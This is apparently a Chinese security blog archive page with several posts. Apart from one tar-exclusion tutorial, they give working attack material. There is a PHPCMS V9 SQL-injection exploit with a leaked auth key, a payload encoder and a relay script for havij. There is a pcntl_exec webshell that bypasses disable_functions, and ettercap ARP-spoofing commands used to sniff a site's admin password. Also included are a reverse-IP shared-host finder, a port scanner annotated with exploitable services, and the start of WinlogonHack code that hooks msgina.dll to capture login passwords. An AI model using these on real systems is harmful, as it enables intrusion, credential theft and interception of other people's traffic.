linux tar压缩排除某个文件夹或者某种类型

发布时间:May 19, 2015 // 分类:工作日志,代码学习,linux,转帖文章 // No Comments

一般直接用tar命令打包很简单,直接使用 tar -zcvf test.tar.gz test 即可。

在很多时候,我们要对某一个目录打包,而这个目录下有几十个子目录和子文件,我们需要在打包的时候排除其中1、2个目录或文件。

这时候我们在用tar命令打包的时候,增加参数 --exclude 就能达到目的。

例如:

我们以tomcat 为例,打包的时候我们要排除 tomcat/logs 目录,命令如下:

tar -zcvf tomcat.tar.gz --exclude=tomcat/logs tomcat

如果要排除多个目录,增加 --exclude 即可,如下命令排除logs和libs两个目录及文件xiaoshan.txt:

tar -zcvf tomcat.tar.gz --exclude=tomcat/logs --exclude=tomcat/libs --exclude=tomcat/xiaoshan.txt tomcat

这里要说一下注意事项:

大家都知道linux在使用tab键的时候会对目录名称自动补全,这很方便,大家也比较常用。

如我们输入 tomcat/lo 的时候按tab键,命令行会自动生成 tomcat/logs/ ,对于目录,最后会多一个 “/”

这里大家要注意的时候,在我们使用tar 的--exclude 命令排除打包的时候,不能加“/”,否则还是会把logs目录以及其下的文件打包进去。

错误写法:

tar -zcvf tomcat.tar.gz --exclude=tomcat/logs/ --exclude=tomcat/libs/ tomcat

正确写法:

tar -zcvf tomcat.tar.gz --exclude=tomcat/logs --exclude=tomcat/libs tomcat

也可以排除指定的文件类型

tar -cvf test.tgz test/ --exclude *.jpg

这样,就会把jpg后缀的文件都排除了,包括子目录!如果是多个后缀类型需要被排除可以在后面添加,无限制

tar -cvf test.tgz test/ --exclude *.txt --exclude *.jpg

以上是匹配排除某个文件类型后缀,也可以直接指定文件名

tar -cvf test.tgz test/ --exclude a.txt

或者指定目录,也可以排除目录与文件一起混合使用

tar -cvf test.tgz test/ --exclude dir1 --exclude a.log --exclude *.jpg

 

PHPCMS V9 一个为所欲为的漏洞

发布时间:May 19, 2015 // 分类:PHP,代码学习,转帖文章 // 1 Comment

phpcms phpsso_auth_key泄露: WooYun: PHPCMS V9 一个为所欲为的漏洞 

http://www.2cto.com/phpsso_server/index.php?m=phpsso&c=index&a=getapplist&auth_data=v=1&appid=1&data=662dCAZSAwgFUlUJBAxbVQJXVghTWVQHVFMEV1MRX11cBFMKBFMGHkUROlhBTVFuW1FJBAUVBwIXRlgeERUHQVlIUVJAA0lRXABSQEwNXAhZVl5V

1.png

phpsso_auth_key: 0tagvqnxuq1x8x4jvaziib7yx4e9ibnl

由于GPC off,于是就可以sql注入了。


使用authkey加密payload:

<?php

function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) {

    $key_length = 4;

    $key = md5($key != '' ? $key : pc_base::load_config('system', 'auth_key'));

    $fixedkey = md5($key);

    $egiskeys = md5(substr($fixedkey, 16, 16));

    $runtokey = $key_length ? ($operation == 'ENCODE' ? substr(md5(microtime(true)), -$key_length) : substr($string, 0, $key_length)) : '';

    $keys = md5(substr($runtokey, 0, 16) . substr($fixedkey, 0, 16) . substr($runtokey, 16) . substr($fixedkey, 16));

    $string = $operation == 'ENCODE' ? sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$egiskeys), 0, 16) . $string : base64_decode(substr($string, $key_length));

    $i = 0; $result = '';
    $string_length = strlen($string);
    for ($i = 0; $i < $string_length; $i++){
            $result .= chr(ord($string{$i}) ^ ord($keys{$i % 32}));
    }

    if($operation == 'ENCODE') {

            return $runtokey . str_replace('=', '', base64_encode($result));

    } else {

            if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$egiskeys), 0, 16)) {

                    return substr($result, 26);

            } else {

                    return '';

            }
    }
}

echo sys_auth("action=synlogin&uid=' and updatexml(1,concat('~',user()),1)#", 'ENCODE', '0tagvqnxuq1x8x4jvaziib7yx4e9ibnl');
http://www.2cto.com/api.php?op=phpsso&code=6f56BQgIUVQDVAkGUwEFCgwDAwNSAVBdA1UHD1RSURFZDlgIS0EPCFwDUFhFFl1dCBMWVlkHE0xDUFJDBktfCRhQGlZXVgIFR0weSERPQUpQRh4eHk8CEBA

2.png

看到有人说是phpcms authkey 无法注入。于是噌噌噌的搞了一个中转的脚本

<?php
set_time_limit(0);
$wang_url = 'http://www.0day5.com';

$auth_key = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxx';

$str = "uid=1".stripslashes($_GET['id']);
$encode = sys_auth($str, 'ENCODE', $auth_key);
$content = file_get_contents($wang_url."/phpsso_server/?m=phpsso&c=index&a=getuserinfo&appid=1&data=".$encode);
echo $content;
function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) {
         $key_length = 4;
         $key = md5($key);
         $fixedkey = hash('md5', $key);
         $egiskeys = md5(substr($fixedkey, 16, 16));
         $runtokey = $key_length ? ($operation == 'ENCODE' ? substr(hash('md5', microtime(true)), -$key_length) : substr($string, 0, $key_length)) : '';
         $keys = hash('md5', substr($runtokey, 0, 16) . substr($fixedkey, 0, 16) . substr($runtokey, 16) . substr($fixedkey, 16));
         $string = $operation == 'ENCODE' ? sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$egiskeys), 0, 16) . $string : base64_decode(substr($string, $key_length));
         $i = 0; $result = '';
         $string_length = strlen($string);
         for ($i = 0; $i < $string_length; $i++){
                   $result .= chr(ord($string{$i}) ^ ord($keys{$i % 32}));
         }
         if($operation == 'ENCODE') {
                   return $runtokey . str_replace('=', '', base64_encode($result));
         } else {
                   if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$egiskeys), 0, 16)) {
                            return substr($result, 26);
                   } else {
                            return '';
                   }
         }
}
?>

使用的办法就是填写目标的www还有key。然后丢到havij里面跑就好了

py抓取并验证可用代理脚本

发布时间:May 18, 2015 // 分类:工作日志,代码学习,python // No Comments

抓取的是kjson.com的代理,代理的质量一般般。

#/usr/bin/python
#coding:utf8
import urllib2
from optparse import OptionParser
import sys,time,random,re
from pyquery import PyQuery as jq

def proxy_craw(target,output):
    w = open(output,'a')
    data = urllib2.urlopen('http://www.kjson.com/proxy/index/' + str(target)).read()
    c = jq(data)
    for tr in c('.proxy-table').find('.plist'):
        data_id = jq(tr).find('a').attr('data-id')
        if checkproxy(data_id):
                wr = jq(tr).find('td').eq(0).text() + u"\t"
                print wr
                port = jq(tr).find('.enport').text()
                wr += str(decodes(port)) + "\t"
                wr += jq(tr).find('td').eq(2).text() + "\t"
                wr += jq(tr).find('td').eq(6).text() + "\r\n"
                w.write(wr.encode('utf-8'))
        else:
                continue
    w.close()

def checkproxy(dataid):
        m = random.randint(1,999999)
        data = urllib2.urlopen('http://www.kjson.com//proxy/vproxy/?rnd=' + str(m) + '&id=' + dataid).read()
        res = re.findall(r'(\w*[0-9]+)\w*',data)
        if res[0] == '1':
                return True
        else:
                return False

def decodes(code):
    str1 = 'ABCDEFGHIG'
    a = code
    c = []
    p = 0
    l = len(a)
    for i in a:
        c.append(str1.index(i))
    t = ''
    for i in c:
        t += str(i)
    p = int(t)
    return  int(p) >> 2

if __name__ == "__main__":
    parser = OptionParser()
    parser.add_option("-o","--output",dest="filename",
                      help="Export File name",metavar="FILE")
    (opts,args) = parser.parse_args()
    filename = opts.filename
    p = jq(url='http://www.kjson.com/proxy/index/1')
    endstr = p('.page a').eq(11).attr('href') #獲取尾頁
    end = int(endstr[13:])
    for PageNum in range(1,end + 1):
        if PageNum/40 == 0:
            time.sleep(3)
        try:
            proxy_craw(PageNum,filename)
        except KeyboardInterrupt:
            exit()

使用办法

python kjson.com_proxy_crawer.py -o out.txt

python实现的Bing查询

发布时间:May 15, 2015 // 分类:工作日志,运维工作,代码学习,python // No Comments

import re
import requests


r = requests.get('http://www.bing.com/search?q=ip:'+ip+'&count=50')
responseHtml = r.content
match = re.findall(r'<li class=\"b_algo\"><h2><a href=\"(.*?)\"', responseHtml)
#print match
for val in match:
    print val

继续进行批量查询

#-*- coding: utf-8 -*-
import socket
import sys
import json
import requests
import re
import time
import thread
  
def scan(ip_str):
    '''
    检测扫描端口是否开启
    然后利用bing旁站进行遍历
    '''
    port = '80'
    cs=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    address=(str(ip_str),int(port))
    status = cs.connect_ex((address))
    #若返回的结果为0表示端口开启
    if(status == 0):
        print ip_str
        res = requests.get('http://www.bing.com/search?q=ip:'+ip_str+'&count=50')
        match = re.findall(r'<li class=\"b_algo\"><h2><a href=\"(.*?)\"', res.content)
        for val in match:
            print val
    cs.close()
       
def find_ip(ip_prefix):
    '''
    给出当前的192.168.1 ,然后扫描整个段所有地址
    '''
    for i in range(1,256):
        ip = '%s.%s'%(ip_prefix,i)
        thread.start_new_thread(scan, (ip,))
        time.sleep(0.3)
        
if __name__ == "__main__":
    commandargs = sys.argv[1:]
    args = "".join(commandargs)    
      
    ip_prefix = '.'.join(args.split('.')[:-1])
    find_ip(ip_prefix)

附加上另外一个验证的脚本

Uses Bing search engine to identify (and validate) websites hosted on the same web server

#!/usr/bin/python

import socket, sys, re, urllib2, StringIO, gzip, zlib
from bs4 import BeautifulSoup
import tldextract

if len(sys.argv) <> 2:
    print '\n[!] Two arguments required.'
    print 'Example: python neighbs.py www.website.com'
    print 'Example: python neighbs.py 1.2.3.4'
    sys.exit()
else:
    sharedHost = sys.argv[1]
    duplicateCheckList = []

def validateHostIP(target):
    isIP = re.match("^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$", target)
    isHostName = re.match("^(([a-zA-Z]|[a-zA-Z][a-zA-Z0-9\-]*[a-zA-Z0-9])\.)*([A-Za-z]|[A-Za-z][A-Za-z0-9\-]*[A-Za-z0-9])$", target)
    if isIP:
        return 'IP'
    elif isHostName:
        return 'HOSTNAME'
    else:
        return False

def resolve(target):
    if hasattr(socket, 'setdefaulttimeout'):
        socket.setdefaulttimeout(3)
    try:
        peos = socket.gethostbyaddr(target)
        return peos[2][0]
    except:
        return False

def make_requests(sharedTarget):
    response = [None]
    responseText = None

    for requests in range (1, 101):
        if(request_www_bing_com(response, requests, sharedTarget)):
            responseText = read_response(response[0])
            soup = BeautifulSoup(responseText)
            for A in soup.find_all('a', href=True):
                domain = str('.'.join(list(tldextract.extract(A['href']))[:10]))
                if not domain.startswith('.') and not len(domain) < 4:
                    if domain not in duplicateCheckList:
                        if resolve(sharedHost) == resolve(domain):
                            duplicateCheckList.append(domain)
                            print '[+] '+domain
                domain = ''
            
            response[0].close()

def read_response(response):
    if response.info().get('Content-Encoding') == 'gzip':
        buf = StringIO.StringIO(response.read())
        return gzip.GzipFile(fileobj=buf).read()

    elif response.info().get('Content-Encoding') == 'deflate':
        decompress = zlib.decompressobj(-zlib.MAX_WBITS)
        inflated = decompress.decompress(response.read())
        inflated += decompress.flush()
        return inflated

    return response.read()

def request_www_bing_com(response, requests, sharedTarget):
    response[0] = None
    try:
        req = urllib2.Request("http://www.bing.com/search?q=ip%3A"+str(sharedTarget)+"&first="+str(requests))

        req.add_header("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0")
        req.add_header("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8")
        req.add_header("Accept-Language", "en-US,en;q=0.5")
        req.add_header("Accept-Encoding", "gzip, deflate")
        req.add_header("Referer", "http://www.bing.com/")
        req.add_header("Cookie", "_EDGE_V=1; MUID=1A8733283AE36E853EB935873BA66FEF; SRCHD=AF=NOFORM; SRCHUID=V=2&GUID=DF63C8A66FB64714818DCF4DFC12DEE1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20140908; MUIDB=1A8733283AE36E853EB935873BA66FEF; SRCHHPGUSR=CW=1280&CH=887; _RwBf=s=70&o=16; _HOP=; _SS=SID=BCC8BCA1D49C412281A16C56834A77B5&bIm=819187; SCRHDN=ASD=0&DURL=#; WLS=TS=63547515929")
        req.add_header("Connection", "keep-alive")

        response[0] = urllib2.urlopen(req)

    except urllib2.URLError, e:
        if not hasattr(e, "code"):
            return False
        response[0] = e
    except:
        return False

    return True

print '\n[*] Scanning for shared hosts. Please wait...'
print '------------------------------------------------'
if validateHostIP(sharedHost) == 'IP':
    make_requests(sharedHost)
elif validateHostIP(sharedHost) == 'HOSTNAME':
    make_requests(resolve(sharedHost))
else:
    print 'Something went wrong. Try again.'
print '------------------------------------------------'
print '[*] '+str(len(duplicateCheckList))+' unique domains found and verified to be on the same server.'

This script is OS agnostic. Takes one param, HOSTNAME or IP of the target. For example...

python neighbs.py www.green-apple.gr

or

python neighbs.py 176.9.145.29

For any libs that are missing, use pip to install.

C:\tools\Projects\PYTHON>python neighbs.py www.green-apple.gr

[*] Scanning for shared hosts. Please wait...
------------------------------------------------
[+] www.restozorba.be
[+] www.hotelmelissa.gr
[+] www.epiplotexan.gr
[+] www.n-everalone.com
[+] www.proedriki-froura.gr
[+] www.zpalace.gr
[+] www.green-apple.gr
[+] www.ktelxanthis.gr
[+] www.foititisweb.gr
[+] www.hotelnessos.gr
[+] www.tosteki.gr
[+] www.gashome.gr
[+] www.raptopoulos-stores.gr
[+] www.ksxanthi.gr
[+] www.olang.gr
[+] www.promoaction.gr
[+] www.kokkalas.co.gr
[+] www.inside.com.gr
[+] www.makka.gr
[+] www.christospoulios.gr
[+] www.outsis.gr
[+] www.velkopoulosgas.gr
[+] www.carnivalxanthi.gr
[+] www.serrespress.gr
[+] www.mpatsakis.gr
[+] www.moumtzaki.gr
[+] www.kopsidas.com.gr
[+] pse.co.gr
[+] www.krista.gr
[+] www.findgas.gr
[+] www.ippokratiskamaridis.gr
[+] www.vion.gr
------------------------------------------------
[*] 32 unique domains found and verified to be on the same server.

C:\tools\Projects\PYTHON>

Penetrating in to target machines by using shared hosts' vulnerabilities is not always legal even if you have a signed contract with the target. Make sure the shared hosts you're attacking belong to the same person/company before doing anything stupid.

centos下面ettercap的安装以及使用

发布时间:May 12, 2015 // 分类:工作日志,linux,转帖文章 // No Comments

1、下载与安装EPEL的RPM包。
 

rpm -ivh http://dl.fedoraproject.org/pub/epel/5/i386/epel-release-5-4.noarch.rpm
rpm -ivh http://dl.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm

2、 安装ettercap

yum -y install ettercap

开始嗅探

开启转发(可能不需要)

echo 1 > /proc/sys/net/ipv4/ip_forward

嗅探

ettercap -T -i eth0 -M arp:remote /192.168.1.1/ /192.168.1.41/80 -m /var/tmp/log.txt
ettercap -T -M arp /目标ip/80 /网关/ -w /tmp/log.txt
ettercap -i eth0 -Tq -M arp:remote /// ///

ettercap -T -M arp /192.168.1.41//80 /192.168.1.1//

嗅探时间可能会挺长可以后台运行

nohup ettercap -T -M arp /目标ip/80 /网关/ -m /tmp/log.txt

保留完整的数据包
ettercap -T -i eth0 -M arp:remote /192.168.1.1/ /192.168.1.41/ -L /var/cache/yum/sniffed_data

然后使用etterlog来把数据进行转换

常用的命令为:

etterlog -A sniffed_data.ecp >1.txt
即将ettercap产生的log数据转成可显示的数据保存在1.txt中。

etterlog -B sniffed_data.ecp >1.data
将数据原封不动的转存成文件。

如果字段不是在里面。是可以修改配置信息的
/usr/share/ettercap/etter.fields

 

关于ettercap
嗅探:它有5种工作模式
-a --arpsniff 基于arp的欺骗,分3小种:arpbased,smartcarp和publicarp
-s --sniff 属于IPBASED,目标可以是任何主机
-m --macsniff 属于MACBASED
需要说明的是-s -m两选项带来的是传统嗅探模式,分别基于IP地址和MAC地址.也就是说它们必需先把网卡置于混杂,然后才可以正常工作。所以在交换环境下,这两项会完全失效,-a选项是基于ARP欺骗的,是一种中间人攻击模型。实质是利用了ARP协议的漏洞,攻击者分别欺骗了A和B机。让A机把数据传给嗅探者,然后再由嗅探机器把数据转发给B机,A和B却没有意识到数据包的中转过程,这样我们就可以劫获数据甚至修改数据包.

下面分别介绍五种用法:
1:ettercap -Nza ip1 ip2 mac1 mac2 (arpbased) 劫获IP1与IP2间的数据.缺省状态下只接收TCP数据包

2: ettercap -Na ip mac (smartcarp) 劫获此ip与外部所有通讯数据,这种方式比较剧烈,启动时采用的是ARP风暴,很容易被发现.如果别人在

用TCPDUMP监听,就会看见攻击者发出的无数的ARP请求,再傻的管理员都明白什么事情发生了.不过由于修改了指定主机的ARP表中关于被监听主机的MAC地址,还修改了被监听主机中的那些指定主机的MAC地址,处在完全的中间人工作状态,这时候你可以作的事情多些,比如更改数据包,截取SSH口令.

3:ettercap -Nza ip mac (publicarp) 同上,不同点在于发送ARP请求的方式,上面采用的是ARP广播,这里只是对特定主机发送ARP请求.这样,不易引起管理员的怀疑.不过也带来了问题,被监听者自己也会收到这个以广播方式发送的ARP响应包,于是便会弹出"检测到IP地址于硬件地址冲突"之类的警告.不过不会影响目标主机正常通信,还有一点就是发往被监听主机的数据包会送给监听者,而监听者发出的数据包却被直接送往真正的目的主机,没有经过监听者的主机.所以我们只能截取不完全的通信内容.

4:ettercap -Nzs IP:80 (ipbased sniffing) 基于IP地址的嗅探。这里仅劫获目标机器HTTP消息,你也可以指定其他端口,比如23 。如果没有指定,所有都会被截取

5:ettercap -zm mac1 mac 2 (macbased) 基于MAC的嗅探.只要输入MAC地址
需要说明的是,4,5两种方式只适合于共享网络,在交换网络下一概无效.MAC地址的获取很简单,直接在终端输入“ettercap -l"就会列出所有在线主机。或者你先PING一下某个IP,不管有没有回应(没有回应可能是对方开了防火墙),再用ARP命令就可以获取其MAC地址。如果无法获取,则此IP不存在 ,这也是探测防火墙后的主机是否在线的一个好方法。

包过滤:由于网络流量实在很大,当你面对大量记录数据时,你可能会感到手足无措,你想找到自己需要的数据无疑是一项艰巨的工作,这时侯,我们可以通过—F 选项加载自己的过滤规则,这样,很多无用的数据就会被忽略,删节。和注射字符一样,我们进行包过滤时有必要的话也要注意到正确的TCP序列号和确认序列号等因素。一旦你加载了自己的过滤链,你就可以有目的的得到自己最需要的数据了。一条过滤规则看起来就象汇编程序一样,当然,还是有差距的,用列阵形容可能更确切些。一条过滤规则大概如下:《协议,源端口,目标端口,承载数据一个空的搜索字符串总可以成立,比如端口如果没有指定,所有的都会被记录下来。只要那些规则匹配,你的过滤链就可以工作了.

例如有如下数据流
packet 1: "var1=123&var2=400"
packet 2: "var1=124&var2=420"
packet 3: "var1=125&var2=460"
packet 4: "var1=126&var2=540"
packet 5: "var1=127&var2=700
......
......
我们可以写如下规则
Search: "var1=[3*]"
Replace: "var1=000"
被过滤后的流就会如下
packet 1: "var1=000&var2=400"
packet 2: "var1=000&var2=420"
packet 3: "var1=000&var2=460"
packet 4: "var1=000&var2=540"
packet 5: "var1=000&var2=700"
如果“var1”后面没有被指定,默认则“var1=000”
最后是关于ssh的嗅探:
由于传输数据被加密,我们必需自己掌握密钥,具体实现方法如下:我们先截取服务器的明码密钥,保存在一边.自己再生成另一明码密钥,用来加密本机与客户机通讯数据,收到客户机数据后,自然可以解密,在用服务器明码密钥加密,发送给服务器,如此一来,可以偷天换柱.

三:工作参数:
下面列出它的主要选项,虽然它本身有28个,不过限于篇幅,下面只列出一些常用的:
-N --simple 非交互方式,很常用的
-z --silent 静模式(启动时不是发送ARP风暴)
-O --passive 被动模式嗅探
-b --broadping 广播PING ,替代了ARPPING
-S --spoof 用IP1这地址发送ARP请求获取其他机器信息
-H --hosts 嗅探的目标主机的IP,可以是很多台
-n --netmask 扫描由输入子网掩码确定的子网
-v --version 检查最新版本
-h --help 帮助文档
组合选项 (一般和N绑定一齐执行)
-u --udp 嗅探UDP数据,缺省是TCP
-p --plugin 运行指定名字的插件
-l --list 列出所有在线主机ip和mac.实质就是发送255个ARP请求,等待回音,如果你的子网掩码是255.255.0.0,就会发送255*255个请求,就是ARP风暴吧!

-C --colletc 仅搜集用户名和对应密码 Eg:ettetcap -NCzs IP:port 它规则不是很严格,所以你IP或PORT不填也没有关系
-c --check 检察网络里有没其他机器正在嗅探
-x --hexview 用16进制表达数据,这样,如果你想自己创建一个包的话会比较方便.比如建个文件写上"\x01\x02\x00\x00\xFF\xFF\x00\ x02here 

the pass".注意:ettercap不仅可以嗅探包,也可以创建包的.所以你可以更改穿过你机器的任何一段数据
-L --logtofile 记录所有数据到指定位置
-k --newcert 创建一个新的CERT文件,用以进行HTTPS攻击
-F --filter 从指定文件列加载过滤规则
-f --fingerprint 指定主机的OS判别,采用的是nmap的数据库,所以准确性得到保障,不过也有无法辨别的时候.
-t --linktype 判断自己处在什么样的网络环境中,交换或是HUB

6 数据筛选

由于这个网站的数据特别大,一小时的数据有1g多,好吧,grep筛选出

抓包分析出目标站前台提交的密码的字段 pwd

cat /tmp/log.txt | grep –a “&pwd=” | more

好吧,每隔几小时我就看一次,过了半天,嗅到后台密码了,同时也嗅到后台地址了

www.xxx.com/xxx/login.php]http://www.xxx.com/xxx/login.php]www.xxx.com/xxx/login.php

 

php利用pcntl_exec突破disable_functions

发布时间:May 12, 2015 // 分类:PHP,代码学习,linux // No Comments

偶遇虚拟主机。发现服务器对disable_functions做了比较变态的设置


 

passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket

仔细看了下,发现了常用的执行命令的函数都给禁止了。尝试mail和bash去执行都失效了.搜索了下发现一个pcntl_exec函数是可以执行命令的。在这里http://php.net/manual/zh/function.pcntl-exec.php看到了相关的说明

pcntl_exec

(PHP 4 >= 4.2.0, PHP 5)
pcntl_exec — 在当前进程空间执行指定程序

说明

void pcntl_exec ( string $path [, array $args [, array $envs ]] )
以给定参数执行程序。

参数

path
path必须时可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本(比如文件第一行是#!/usr/local/bin/perl的perl脚本)。 更多的信息请查看您系统的execve(2)手册。

args
args是一个要传递给程序的参数的字符串数组。

envs
envs是一个要传递给程序作为环境变量的字符串数组。这个数组是 key => value格式的,key代表要传递的环境变量的名称,value代表该环境变量值。

返回值

当发生错误时返回 FALSE ,没有错误时没有返回。

void pcntl_exec ( string $path [, array $args [, array $envs ]] )
在当前的进程空间中执行指定程序,类似于c中的exec族函数。所谓当前空间,即载入指定程序的代码覆盖掉当前进程的空间,执行完该程序进程即结束。

<?php
$dir = '/var/tmp/';
$cmd = 'ls';
$option = '-l';
$pathtobin = '/bin/bash';

$arg = array($cmd, $option, $dir);

pcntl_exec($pathtobin, $arg);
echo '123';    //不会执行到该行
?>
<?php
$cmd = @$_REQUEST[cmd];
if(function_exists('pcntl_exec')) {
    $cmd = $cmd."&pkill -9 bash >out"; //执行完毕当前的命令。结束掉bash,方便下一次继续执行
    pcntl_exec("/bin/bash", $cmd);    //可能会造成假死。因为pcntl_exec一直处于等待的状态
    echo file_get_contents("out");        
} else {
        echo '不支持pcntl扩展';
}
?>

最后的最后,居然发现这个函数还是被刷过CVE的存在

https://bugs.php.net/bug.php?id=68598

Python简陋的端口扫描

发布时间:May 7, 2015 // 分类:工作日志,运维工作,代码学习,python // No Comments

主要是用在一些linux机器没有装自带的nmap的时候使用的

#-*- coding: utf-8 -*-
'''
探查网段内开放的常见端口
'''
import thread
import socket
import sys
import os
import time

ports = '21,22,23,25,53,67,80,81,82,110,1433,1521,1526,3306,3389,4899,8580'
ports += ',873'         # rsync default port
ports += ',443,465,993,995' # ssl services port
    # https tcp-443
    # imaps tcp-993
    # pop3s tcp-995
    # smtps tcp-465
ports += ',2049'         #NFS linux网络共享服务   
ports += ',2082,2083'   # cpanel主机管理系统登陆 (国外用较多)​
ports += ',2222'        # DA虚拟主机管理系统登陆 (国外用较多)​
ports += ',2601,2604'   # zebra路由,默认密码zebra 
ports += ',3128'        # squid代理默认端口,如果没设置口令很可能就直接漫游内网了 
ports += ',3312,3311'   # kangle主机管理系统登陆
ports += ',4440'        # rundeck  参考WooYun: 借用新浪某服务成功漫游新浪内网
ports += ',5432,5631'
ports += ',6082'        # varnish  参考WooYun: Varnish HTTP accelerator CLI 未授权访问易导致网站被直接篡改或者作为代理进入内网 
ports += ',6379'        # redis 一般无认证,可直接访问
ports += ',7001'        # weblogic,默认弱口令
ports += ',7778'        # Kloxo主机控制面板登录​
ports += ',8000'        # 8000-9090都是一些常见的web端口,有些运维喜欢把管理后台开在这些非80的端口上
ports += ',8001'
ports += ',8002' 
ports += ',8080'        # tomcat/WDCP主机管理系统 默认端口
ports += ',8081'
ports += ',8888'        # amh/LuManager 主机管理系统默认端口
ports += ',8083'        # Vestacp主机管理系统​​ (国外用较多)
ports += ',8089'        # jboss端口 历史曾经爆漏洞/可弱口令
ports += ',9200'        # elasticsearch port
ports += ',10000'       # Virtualmin/Webmin 服务器虚拟主机管理系统
ports += ',11211'       # memcache  未授权访问
ports += ',14147'
ports += ',28017,27017' # mongodb default port
ports += ',43958'

def scan(host):
    ListTmp = ports.split(',')
    for port in ListTmp:
        cs=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        address=(str(host),int(port))
        status = cs.connect_ex((address))
        if(status == 0):
            print "%s port %s open"%(host,port)
        cs.close()

def find_ip(ip_prefix):
    '''
    给出当前的192.168.1 ,然后扫描整个段所有地址
    '''
    for i in range(1,256):
        ip = '%s.%s'%(ip_prefix,i)
        thread.start_new_thread(scan, (ip,))
        time.sleep(0.3)     

if __name__ == "__main__":
    commandargs = sys.argv[1:]
    args = "".join(commandargs)
    ip_prefix = '.'.join(args.split('.')[:-1])
    find_ip(ip_prefix)

关于hook自带的msgina.dll截取系统密码

发布时间:May 5, 2015 // 分类:代码学习,VC/C/C++,windows // No Comments

Windows的开机密码认证模块一般是由Gina DLL完成的。在NT/2000中交互式的登陆支持是由WinLogon调用GINA DLL实现的,GINA DLL提供了一个交互式的界面为用户登陆提供认证请求。

1.Gina原理
WinLogon会和GINA DLL进行交互,缺省是MSGINA.DLL(在System32目录下)。微软同时也为我们提供了接口,我们可以自己编写GINA DLL来代替MSGINA.DLL。
WinLogon初始化时会创建3个桌面:
(1) winlogon桌面:主要显示Windows 安全等界面,如你按下CTRL+ALT+DEL,登陆的界面等
(2) 应用程序桌面:我们平时见到的那个有我的电脑的界面
(3) 屏幕保护桌面:屏幕保护显示界面。
在默认情况下,GINA显示登陆对话框,用户输入用户名及密码 。所以要获得用户名和密码 ,则可以写一个新的GINA DLL,其中提供接口调用msgina.dll的函数WlxLoggedOutSAS。
2.Gina DLL导出函数
在NT/2000 中交互式的登陆支持是由WinLogon调用GINA DLL实现的,GINA DLL提供了一个交互式的界面为用户登陆提供认证请求。GINA DLL要输出下列函数(Winlogon会调用):
(1) WlxActivateUserShell:激活用户外壳程序。
(2) WlxDisplayLockedNotice:允许GINA DLL显示锁定信息。
(3) WlxDisplaySASNotice:当没有用户登陆时,Winlogon调用此函数。
(4) WlxDisplayStatusMessage:Winlogon用一个状态信息调用此函数进行显示。
(5) WlxGetStatusMessage:Winlogon 调用此函数获取当前状态信息。
(6) WlxInitialize:针对指定的窗口位置进行GINA DLL初始化。
(7) WlxIsLockOk:验证工作站正常锁定。
(8) WlxIslogoffOk:验证注销正常。
(9) WlxLoggedOnSAS:用户已登陆并且工作站没有被加锁,如果此时接收到SAS事件,则Winlogon 调用此函数。
(10) WlxLoggedOutSAS:没有用户登陆,如果此时收到SAS事件,则Winlogon调用此函数。
(11) WlxLogoff:请求注销操作时通知GINA DLL。
(12) WlxNegotiate:表示当前的Winlogon版本是否能使用GINA DLL。
(13) WlxNetworkProviderLoad:在加载网络服务提供程序收集了身份和认证信息后,Winlogon 调用此函数。
(14) WlxRemoveStatusMessage:Winlogon调用此函数告诉GINA DLL停止显示状态信息。
(15) WlxScreensaverNotify:允许GINA与屏幕保护操作交互。
(16) WlxShutdown:在关闭之前Winlogon 调用此函数,允许GINA实现任何关闭任务,例如从读卡器中退出智能卡。
(17) WlxStartApplication:当系统需要在用户的上下文中启动应用程序时调用此函数。
(18) WlxWkstaLockedSAS:当工作站被锁定,如果接收到一个SAS,则Winlogon调用此函数。
我们通过对上述的18个基本函数进行重写,来实现USB身份认证系统的Windows登录身份认证。

关于msgina.dll可以查看百科的介绍http://baike.baidu.com/view/662342.htm

关于截取的原理就是:系统启动后会自动加载dll,而dll在加载时会hook掉WlxLoggedOutSAS,系统登录时winlogon会加载WlxLoggedOutSAS函数,这个函数输出值中有PWLX_MPR_NOTIFY_INFO结构,其中就存储了用户名和密码。winlogon在登录时会调用这个函数,我们HOOK掉了这个函数,所以就能拿到登录的用户名和密码了。

实现的过程就是:

生成dll文件,并把这个文件复制到系统目录。并把文件加入到注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\wminotify里面。不用重启, 当有3389登上时,自动加载DLL,并且记录登录密码! 保存为boot.dat文件.

来自WinlogonHack,并且附上自己解读的源码:

// Hookmsgina.cpp : Defines the entry point for the DLL application.
/*
系统启动后会自动加载dll,而dll在加载时会hook掉WlxLoggedOutSAS,系统登录时winlogon会加载WlxLoggedOutSAS函数,这个函数输出值中有
PWLX_MPR_NOTIFY_INFO 
结构,其中就存储了用户名和密码。winlogon在登录时会调用这个函数,我们HOOK掉了这个函数,所以就能拿到登录的用户名和密码了
*/

#include "stdafx.h"
#include <tchar.h>
//宏定义
#define WLX_SAS_ACTION_LOGON  (1)

//WLX_MPR_NOTIFY_INFO结构
typedef struct _WLX_MPR_NOTIFY_INFO {   
    PWSTR           pszUserName;    
    PWSTR           pszDomain;  
    PWSTR           pszPassword;    
    PWSTR           pszOldPassword;
} WLX_MPR_NOTIFY_INFO, * PWLX_MPR_NOTIFY_INFO;

//函数原形
// GINA DLLs are ignored in Windows Vista
